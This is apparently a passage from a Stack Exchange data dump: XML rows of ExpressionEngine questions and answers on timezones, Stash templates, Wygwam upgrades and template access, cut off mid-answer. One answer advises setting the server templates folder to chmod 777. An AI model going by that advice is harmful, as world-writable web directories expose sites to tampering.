  <row Id="12374" PostTypeId="1" CreationDate="2013-07-31T00:29:28.360" Score="0" ViewCount="708" Body="&lt;p&gt;After upgrading ExpressionEngine from 2.5.2 to 2.6.1, the Member module now sets the member's localization to PHP format eg. 'Australia/Sydney' in the exp_members table.  So, when my site calls EEs Localize class it returns the PHP format instead of the CI format, that is it should return 'UP10' instead of 'Australia/Sydney', generating this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Notice&#xA;Message: Undefined index: Australia/Sydney&#xA;Filename: libraries/Localize.php&#xA;Line Number: 735   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It may be that there is a bug in the javascript generated by the CI Date Helper function timezone_menu(), because the  tag should be generated with the latter time zone codes (i.e. Sydney).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for the localization_form view is generated on line 1563 of mod.member_settings.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'form:localization' =&amp;gt;  ee()-&amp;gt;localize-&amp;gt;timezone_menu(($query-  &amp;gt;row('timezone')  ==     '') &#xA;? 'UTC' : $query-&amp;gt;row('timezone'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The javascript function that is generated is called 'ee_tz_change' (why the 'ee_' prefix in a CI generated function?).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mod.member_settings module generates the localization form for the user using the Localize class in the edit_localization() function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Localize class uses the CI Date helper timezone_menu() function to generate a localization menu, but this provides the string 'Sydney/Australia' in the  tag, which means this is what is passed back to the update_localization() function in mod.member_settings.php.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See line 1593 in mod.member_settings.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['timezone'] = $_POST['server_timezone'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something really obvious here?  Where is this ee_tz_change js function coming from???  &lt;/p&gt;&#xA;" OwnerUserId="1840" LastActivityDate="2013-07-31T00:29:28.360" Title="Why is timezone_menu returning a PHP formatted timezone instead CodeIgniter formatting (e.g. 'UP10') after upgrade to 2.6.1?" Tags="|date|codeigniter|timezone|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12375" PostTypeId="2" ParentId="12372" CreationDate="2013-07-31T03:17:06.943" Score="3" Body="&lt;p&gt;Check a few things in EE. Go to DESIGN &gt; TEMPLATES &gt; GLOBAL PREFERENCES and check out the last two settings.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save Templates as Files -&gt; Yes (if it won't change, check your config&#xA;files)&lt;/li&gt;&#xA;&lt;li&gt;Server path to site's templates -&gt; make sure path is correct and folder is chmod 777&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-07-31T13:11:31.893" LastActivityDate="2013-07-31T13:11:31.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12376" PostTypeId="1" CreationDate="2013-07-31T06:07:15.290" Score="0" ViewCount="97" Body="&lt;p&gt;I'm trying to build a blog in ExpressionEngine that supports syntax highlighting in posts, so that snippets of code in the post will be displayed with line numbers, syntax highlighting, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WordPress you use the SyntaxHighlighter Evolved plugin to do this (&lt;a href=&quot;http://wordpress.org/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/plugins/syntaxhighlighter/&lt;/a&gt;). You wrap the snippet of code to highlight in shortcodes, and the actual highlighting is done on the front end with javascript (&lt;a href=&quot;http://alexgorbatchev.com/SyntaxHighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://alexgorbatchev.com/SyntaxHighlighter/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ExpressionEngine??? I thought I would do it the same way: wygwam uses CKEditor, and CKEditor has a plugin to generate the html that the javascript SyntaxHighlighter operates on. The problem I have is that I don't want to include the syntax highlighting javascript on every blog page, just on the ones that need it. How to identify them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, is there some other way entirely I should be doing this?&lt;/p&gt;&#xA;" OwnerUserId="1593" LastActivityDate="2013-09-21T00:45:39.917" Title="Syntax Highlighting in posts" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12377" PostTypeId="1" CreationDate="2013-07-31T08:08:30.240" Score="1" ViewCount="122" Body="&lt;p&gt;I'm having an issue w/ Stash and Channel Images where the image:url isn't being stashed at all, but everything else is. Here's the first portion of my index.html so you can see what is being set w/ stash:set_list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Index.html&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {!--  ============================================&#xA;    TEST COLLECTION&#xA;    ================================================== --}&#xA;&#xA;    {case value=&quot;test-collection&quot;}&#xA;&#xA;        {exp:stash:set_value name=&quot;page_content&quot; value=&quot;{exp:stash:embed:partials:collection_thumbs}&quot;}&#xA;&#xA;        {!-- cache the list of articles in a given category for 60 minutes --}&#xA;        {exp:stash:set_list &#xA;            name=&quot;collection:{segment_2}&quot; &#xA;            parse_tags=&quot;yes&quot;&#xA;            parse_depth=&quot;2&quot;&#xA;            save=&quot;yes&quot; &#xA;            scope=&quot;site&quot; &#xA;            refresh=&quot;60&quot; &#xA;            replace=&quot;no&quot;&#xA;        }&#xA;&#xA;            {exp:channel:entries&#xA;                channel=&quot;artworks&quot;&#xA;                disable=&quot;categories|category_fields|member_data&quot;&#xA;                status=&quot;open&quot;&#xA;                limit=&quot;36&quot;&#xA;                paginate=&quot;bottom&quot;&#xA;            }&#xA;&#xA;                {stash:page_category}{exp:channel:category_heading channel=&quot;artworks&quot;}{category_name}{/exp:channel:category_heading}{/stash:page_category}&#xA;&#xA;                {stash:page_title}&amp;lt;small&amp;gt;Collection / &amp;lt;/small&amp;gt; {exp:stash:get name=&quot;page_category&quot;}{/stash:page_title}&#xA;&#xA;                {!-- Meta Properties --}&#xA;                {stash:head_title}{exp:stash:get name=&quot;page_category&quot;} | {site_label}{/stash:head_title}&#xA;                {stash:meta_type}reelizer:collection{/stash:meta_type}&#xA;                {stash:canonical_url}{segment_1}/{segment_2}{/stash:canonical_url}&#xA;                {stash:meta_description}{exp:stash:get name=&quot;page_category&quot;} Collection on {site_label}.{/stash:meta_description}&#xA;                {stash:meta_image}{gv_cdn_url}img/meta-image.png{/stash:meta_image}&#xA;                {stash:twitter_card_content}summary{/stash:twitter_card_content}&#xA;                {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;&#xA;                {exp:channel_images:images entry_id=&quot;{entry_id}&quot;}&#xA;                    {stash:artwork_url}{url_title_path=artwork}{/stash:artwork_url}&#xA;                    {stash:artwork_artist}{artworks_artist}{title}{/stash:artwork_artist}&#xA;                    {stash:artwork_title}{title}{/stash:artwork_title}                          &#xA;                    {stash:artwork_image_small}{image:url:small}{/stash:artwork_image_small}    &#xA;                {/exp:channel_images:images}&#xA;&#xA;                {paginate}&#xA;                    {stash:pagination}&#xA;                        {sn_pagination}&#xA;                    {/stash:pagination} &#xA;                {/paginate}&#xA;&#xA;            {/exp:channel:entries}&#xA;&#xA;        {/exp:stash:set_list}&#xA;&#xA;    {/case}&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice I'm storing a value in the Channel Images block for the img url: {stash:artwork_image_small}{image:url:small}{/stash:artwork_image_small}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for some reason my collection_thumbs partial is pulling all the correct values except for {artwork_image_small}. It should be outputting the URL, but is instead just outputting {artwork_image_small}. Here's my code for the collection_thumbs partial:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;collection_thumbs&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;collection:{segment_2}&quot;}&#xA;&amp;lt;div class=&quot;artwork small&quot; id=&quot;artwork-&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{artwork_url}&quot; rel=&quot;bookmark&quot; &amp;gt;    &#xA;        &amp;lt;div class=&quot;description&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;title&quot;&amp;gt;{artwork_artist}&amp;lt;/span&amp;gt;         &#xA;            &amp;lt;span class=&quot;divider&quot;&amp;gt;&amp;lt;/span&amp;gt;                                &#xA;            &amp;lt;p&amp;gt;&amp;lt;em&amp;gt;{artwork_title}&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;                             &#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;overlay&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;img width=&quot;300&quot; height=&quot;225&quot; src=&quot;{artwork_image_small}&quot; class=&quot;thumb&quot; alt=&quot;{artwork_title}&quot;&amp;gt;  &#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing? Thanks for any help you guys can provide!&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2013-07-31T08:08:30.240" Title="Channel Images and Stash" Tags="|stash|channel-images|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12380" PostTypeId="2" ParentId="10822" CreationDate="2013-07-31T08:47:33.127" Score="0" Body="&lt;p&gt;I'm having the exact same problem here. Upgraded from 2.5.* to 2.6.1 and my users in a custom group called 'beheerder' can't edit entries without setting a super-admin as the author of a page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The super-admins are the only ones that show up in the dropdown field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, my 'beheerder' group has the right to the specific channel assigned to them and has been authorized to change entries posted by others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rSBkc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-07-31T08:47:33.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12381" PostTypeId="1" CreationDate="2013-07-31T09:33:45.737" Score="0" ViewCount="48" Body="&lt;p&gt;Not quite the issue some others have experienced as far as I can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to create a new Subfolder in an Assets folder (set to (777) but get the message: &quot;Assets could not complete the requested operation.&quot; There are older Subfolders there already and I can upload fine, in fact, everything is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Assets 2.1.4 and EE 2.6.1  - Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1596" LastActivityDate="2013-07-31T09:33:45.737" Title="Unable to create Subfolder in Assets" Tags="|assets|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12382" PostTypeId="1" AcceptedAnswerId="12384" CreationDate="2013-07-31T11:18:16.757" Score="0" ViewCount="42" Body="&lt;p&gt;I have some templates that output JSON in ExpressionEngine which we are called using a simple CURL request from a CodeIgniter app elsewhere on the same domain - we don't want these templates to be accessible to other sites as we want to control who has access to this data (though it's not sensitive) - how can we best go about achieving this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking about using .htaccess but in some ways I would rather control it at a template level so it's not forgotten or missed in future site updates.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-07-31T11:44:10.203" Title="Prevent access to templates from a remote server" Tags="|templates|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12383" PostTypeId="1" AcceptedAnswerId="12385" CreationDate="2013-07-31T11:25:22.947" Score="2" ViewCount="50" Body="&lt;p&gt;Is there a way to retrieve the colour assigned to a status to use on a front-end template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I have an ecommerce system that uses a status of &quot;Declined&quot;. I have made this status display in red so on the  back end the store administrator can easily see any declined transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, say I wanted to output a list of a customer's transactions for them on the front end. Would it be possible to grab that colour to use in my template or will I need to create a series of conditionals and set colours that way (using CSS classes)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess a quick hack around it would be to do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;{status}&quot;&amp;gt;Status: {status}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-31T11:46:19.653" Title="Using a status colour on the front-end" Tags="|templates|status|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12384" PostTypeId="2" ParentId="12382" CreationDate="2013-07-31T11:44:10.203" Score="0" Body="&lt;p&gt;Could you use PHP to examine the requesting IP address or referrer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe have your requesting script pass some secret hash to the template which could check for it's presence before outputting the JSON?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-31T11:44:10.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12385" PostTypeId="2" ParentId="12383" CreationDate="2013-07-31T11:46:19.653" Score="0" Body="&lt;p&gt;You can't, my friend. Your suggestion of code is the best option.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-31T11:46:19.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12386" PostTypeId="2" ParentId="12365" CreationDate="2013-07-31T11:56:41.397" Score="2" Body="&lt;p&gt;Actually, Playa is doing everything correct here. The parameters you pass on &lt;code&gt;{exp:playa:parents}&lt;/code&gt; are for defining what &lt;em&gt;parent&lt;/em&gt; entries you want to get; they’re not meant to describe the &lt;em&gt;child&lt;/em&gt;, which is what you’re doing with &lt;code&gt;url_title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a URL Title for an entry and you want to get the parents of that entry, you first have to get the child entry with &lt;code&gt;{exp:channel:entries}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;merchants&quot;&#xA;                     url_title=&quot;{segment_3}&quot;&#xA;                     limit=&quot;1&quot;&#xA;                     disable=&quot;categories|custom_fields|member_data|pagination&quot;}&#xA;&#xA;    {exp:playa:parents channel='products'&#xA;                       limit='7'&#xA;                       disable='member_data|category_fields'&#xA;                       orderby='title'&#xA;                       sort='asc'&#xA;                       paginate='both'&#xA;                       status='open|Featured'}&#xA;&#xA;        {!-- channel listing content --}&#xA;&#xA;    {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-07-31T11:56:41.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12387" PostTypeId="1" CreationDate="2013-07-31T13:37:07.667" Score="0" ViewCount="53" Body="&lt;p&gt;After performing a upgrade from Wygwam 2.7.1 to Wygwam 3.0.2 the wygwam-field doesn't appear anymore. For a brief moment it shows the html-code inside the field, but when the editor should appear nothing happends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried it in IE en Firefox, cleared cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where to look?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With kind regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jeroen van Dijk &lt;/p&gt;&#xA;" OwnerUserId="1841" LastActivityDate="2013-07-31T23:44:22.910" Title="Wygwam Upgrade to v3.0.2" Tags="|wygwam|upgrade|editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12388" PostTypeId="1" CreationDate="2013-07-31T13:40:20.210" Score="0" ViewCount="178" Body="&lt;p&gt;As you know, we can't use template tags inside extension hook handlers because those will not be parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However is there an alternate way to access them inside extension hook handlers? Or something like given a tag string, have a function that can parse it?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-07-31T14:34:18.817" LastActivityDate="2013-08-02T10:49:29.320" Title="Is there a way to parse a template tag inside an extension hook handler?" Tags="|tags|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12390" PostTypeId="5" CreationDate="2013-07-31T13:44:16.037" Score="0" Body="&lt;p&gt;Structure is a commercial ExpressionEngine Add-on that allows you to create pages, generate navigation and manage content through a simple interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It forgoes the current template_group/template setup and creates “static” and “listing” pages that are all editable through a tree sitemap view. Now, traditional page style content and multiple entry pages can live within the same area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found at &lt;a href=&quot;http://buildwithstructure.com&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-07-31T16:40:16.787" LastActivityDate="2013-07-31T16:40:16.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12391" PostTypeId="4" CreationDate="2013-07-31T13:44:16.037" Score="0" Body="Structure is a commercial ExpressionEngine Add-on that allows you to create pages, generate navigation and manage content through a simple interface." OwnerUserId="27" LastEditorUserId="7705" LastEditDate="2019-12-18T18:43:22.223" LastActivityDate="2019-12-18T18:43:22.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12392" PostTypeId="1" CreationDate="2013-07-31T13:48:52.533" Score="0" ViewCount="171" Body="&lt;p&gt;I have a channel with 2 fields, &quot;New Square Footage&quot; and &quot;Remodeled Square Footage&quot;. I'm displaying both of these numbers in my template. I want to be able to sort the entries by the total of both of those fields. I currently have a form that will sort based on one of those fields and it works fine using Dynamic Parameters &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/dynamic_parameters.html&lt;/a&gt;. Any way to add these fields together? I'm not sure if it can be done through the template, or if there needs to be a hidden field in the Publish form that adds them together...Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;label&amp;gt;Order By:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;select name=&quot;orderby&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;project_state&quot;&amp;gt;State&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;project_completion_date&quot;&amp;gt;Completion Date&amp;lt;/option&amp;gt; &#xA;            &amp;lt;option value=&quot;project_contract_amount&quot;&amp;gt;Contract Amount($)&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;project_new_sq_ft&quot;&amp;gt;Square Footage&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;label&amp;gt;Sort:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;select name=&quot;sort&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;asc&quot;&amp;gt;Ascending&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;desc&quot;&amp;gt;Descending&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Go!&quot; /&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;prject_new_sq_ft&quot; is one of the fields, I need that to be the total of both fields.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-08-02T10:29:16.683" Title="2 fields with numbers...need to add them together for sorting entries by that number" Tags="|forms|dynamic|math|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12393" PostTypeId="5" CreationDate="2013-07-31T13:51:06.830" Score="0" Body="&lt;p&gt;Jquery is a popular open source Javascript library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the JQuery website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;jQuery is a fast, small, and feature-rich JavaScript library. It makes&#xA;  things like HTML document traversal and manipulation, event handling,&#xA;  animation, and Ajax much simpler with an easy-to-use API that works&#xA;  across a multitude of browsers. With a combination of versatility and&#xA;  extensibility, jQuery has changed the way that millions of people&#xA;  write JavaScript.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More information can be found at &lt;a href=&quot;http://jquery.com&quot; rel=&quot;nofollow&quot;&gt;jquery.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-07-31T16:40:11.130" LastActivityDate="2013-07-31T16:40:11.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12394" PostTypeId="4" CreationDate="2013-07-31T13:51:06.830" Score="0" Body="Jquery is a popular open source Javascript library." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-07-31T16:40:19.193" LastActivityDate="2013-07-31T16:40:19.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12395" PostTypeId="1" AcceptedAnswerId="12500" CreationDate="2013-07-31T14:13:31.470" Score="0" ViewCount="142" Body="&lt;p&gt;RE: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12073/parsing-json-in-ee-tag&quot;&gt;Parsing JSON in EE tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help out here? It seems that since EE uses { and } that it interperets JSON as an EE tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to pass JSON to a plugin, how is that possible?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-04-13T22:45:19.943" Title="Passing JSON to plugin" Tags="|tags|json|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12396" PostTypeId="1" CreationDate="2013-07-31T16:06:58.160" Score="0" ViewCount="50" Body="&lt;p&gt;I have a need to place a few links into various templates to pages that might have their names changed as other individuals do SEO things that I do not agree with.  I was thinking the easiest way to add a url in a header as a callout would be by the entry_id.  I am not finding any way to get the URL from the entry_id other than writing my own plugin, which I did using the help of a stackoverflow answer that clued me into the url's being stored in the global array:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/8245405/expressionengine-how-to-get-the-path-of-a-page-given-its-entry-id-with-the-str&quot;&gt;https://stackoverflow.com/questions/8245405/expressionengine-how-to-get-the-path-of-a-page-given-its-entry-id-with-the-str&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that this is a problem others have a better solution for already, but being so new to EE I just do not know of?  Or maybe the need to change a pages url and title is not common enough for the need for a solution?&lt;/p&gt;&#xA;" OwnerUserId="1270" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-07-31T16:49:34.920" Title="Is there a better way to link to pages than by entry_id?" Tags="|plugin|pages|page-uri|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12397" PostTypeId="1" CreationDate="2013-07-31T16:10:16.407" Score="2" ViewCount="100" Body="&lt;p&gt;I'm setting up the Google shopping feed for a new site and I need to provide a cost for shipping on each item but I can't find any way to get the lowest possible (or any) shipping cost for that item. How can I get this?&lt;/p&gt;&#xA;" OwnerUserId="1428" LastActivityDate="2013-11-01T22:59:48.813" Title="Item Shipping From" Tags="|expresso-store|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12398" PostTypeId="2" ParentId="12392" CreationDate="2013-07-31T16:35:20.900" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/search/results?keywords=math&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;Math add-on?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;This one is free&lt;/a&gt; and has a lot of praise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm assuming you need the total on the page that receives the form, and as you may not be able to use the add-on as a parameter, it may not work.  Worth a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise what about simply using JQuery/JavaScript on the form onChange event for either/both the fields, that automatically populates a hidden field with the combination of the 2 fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Another route...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent template uses an &lt;a href=&quot;http://devot-ee.com/add-ons/server-variable&quot; rel=&quot;nofollow&quot;&gt;add-on&lt;/a&gt; (there are others) to get the POST or GET variables, you then pass those to the child embed template to be used in the channel:entries, which no longer uses dynamic parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=template-group/child-template &#xA;    orderby=&quot;{exp:server_var:server:post var=&quot;orderby&quot;}&quot;&#xA;    sort=&quot;{exp:server_var:server:post var=&quot;sort&quot;}&quot;&#xA;    combined=&quot;{exp:will_hunting:solve_pair}{$result={exp:server_var:server:post var=&quot;prject_new_sq_ft&quot;}+{exp:server_var:server:post var=&quot;prject_remodel_sq_ft&quot;}}{/exp:will_hunting:solve_pair}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Child Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries sort=&quot;{embed:sort}&quot; orderby=&quot;{embed:orderby}&quot; limit=&quot;{embed:combined}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reading back through your question, I'm a little confused as to what &quot;I want to be able to sort the entries by the total of both of those fields.&quot; actually means as you can't &quot;sort&quot; by a number, so in the example above I've just used it for limit to give you the idea and you can manipulate as you see fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used a different Math add-on, as looking into it MX Calculator won't allow the tags in the parameter, but &lt;a href=&quot;http://devot-ee.com/add-ons/will-hunting&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; looks as though it could work (obviously there are &lt;a href=&quot;http://devot-ee.com/search/results?keywords=math&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;others&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's doubtful that the code above will work without further tweaking, possibly adding parse=&quot;inward&quot; to the server_var tags. But hopefully it'll give you the right direction.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-08-02T10:29:16.683" LastActivityDate="2013-08-02T10:29:16.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12399" PostTypeId="2" ParentId="12388" CreationDate="2013-07-31T16:48:52.800" Score="1" Body="&lt;p&gt;Anything can be parsed in an extension, it just depends on what hook you're using as to what you're going to do with the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/template/index.html#template-post-parse&quot; rel=&quot;nofollow&quot;&gt;template_post_parse&lt;/a&gt; for example passes the templateData, so you can then manipulate it, parse it, do whatever you want with it and then return it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd just use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#id6&quot; rel=&quot;nofollow&quot;&gt;parse_variables&lt;/a&gt; in the normal way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some hooks don't provide tagData directly and therefore there's no way to manipulate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Yes you can access the template contents and parse them from anywhere (See *disclaimer), but unless the code that implements the hook then continues to processes the template, what you've changed via the hook will be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original EE code &lt;code&gt;$myTagData = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hook in EE code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Extension code (via the hook) manipulates $this-&gt;EE-&gt;TMPL-&gt;tagdata.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code returns to the original EE code flow&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original EE Code continues to use &lt;code&gt;$myTagData&lt;/code&gt; not your modified 